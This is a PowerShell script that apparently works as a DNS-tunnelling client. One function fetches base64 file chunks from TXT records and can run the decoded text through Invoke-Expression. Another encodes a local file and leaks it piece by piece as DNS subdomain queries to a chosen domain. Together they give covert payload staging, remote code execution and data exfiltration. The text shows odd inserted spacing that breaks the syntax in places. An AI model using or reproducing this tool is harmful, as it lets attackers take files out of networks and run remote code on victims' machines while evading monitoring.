# Simple Powershell client, also runs on linux with Powershell Core
Function Get-DnsTxt {
[ CmdletBinding ( ) ] param (
[ string ] $Domain
)
Try {
return ( Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000 ) . Replace ( " { " , " " ) . Replace ( " } " , " " ) . Trim ( )
} Catch [ System.Management.Automation.CommandNotFoundException ] {
return dig + short $Domain TXT
}
}
Function Get-DnsFile {
[ CmdletBinding ( ) ] param (
[ string ] $FileName = $ ( Read-Host -Prompt 'Enter a FileName' ) ,
[ string ] $DnsName = $ ( Read-Host -Prompt 'Enter a DnsName' ) ,
[ switch ] $Execute ,
[ switch ] $Write ,
[ string ] $OutPath
)
$count = [ int ] ( Get-DnsTxt -Domain " $FileName .count. $DnsName " )
$file_base64 = " "
For ( $i = 0 ; $i -le $count ; $i + + ) {
$file_base64 + = ( Get-DnsTxt -Domain " $FileName . $i . $DnsName " )
}
" Base64 $file_base64 "
$file_string = [ Text.Encoding ] :: Utf8 . GetString ( [ Convert ] :: FromBase64String ( $file_base64 ) )
" String $file_string "
If ( $Execute . IsPresent ) {
$file_string | Invoke-Expression
} Else {
$file_string | Out-String
}
If ( $Write . IsPresent ) {
$file_string | Out-File -FilePath ( $OutPath , $FileName ) [ ! $OutPath ]
}
}
Function Push-DNSFile {
[ CmdletBinding ( ) ] param (
[ string ] $FileName = $ ( Read-Host -Prompt 'Enter a Filename' ) ,
[ string ] $DnsName = $ ( Read-Host -Prompt 'Enter a DnsName' )
)
$id = ( Get-FileHash $FileName | Select-Object Hash | Format-Table -HideTableHeaders | Out-String ) . Trim ( )
$id = [ Convert ] :: ToBase64String ( [ Text.Encoding ] :: UTF8 . GetBytes ( $id ) ) . Substring ( 0 , 6 )
$content_binary = Get-Content -Path $FileName -Encoding utf8
$content_base64 = [ Convert ] :: ToBase64String ( [ Text.Encoding ] :: UTF8 . GetBytes ( $content_binary ) )
$i = 0
While ( $content_base64 ) {
$url = " . " + $i + " - " + $id + " u. " + $DnsName
$len = 63 - $url . Length
if ( $len -le $content_base64 . Length ) {
$content_part = $content_base64 . Substring ( 0 , $len )
$content_base64 = $content_base64 . Substring ( $len )
} else {
$content_part = $content_base64
$content_base64 = $false
}
Get-DnsTxt -Domain ( $content_part + $url )
$i + +
}
}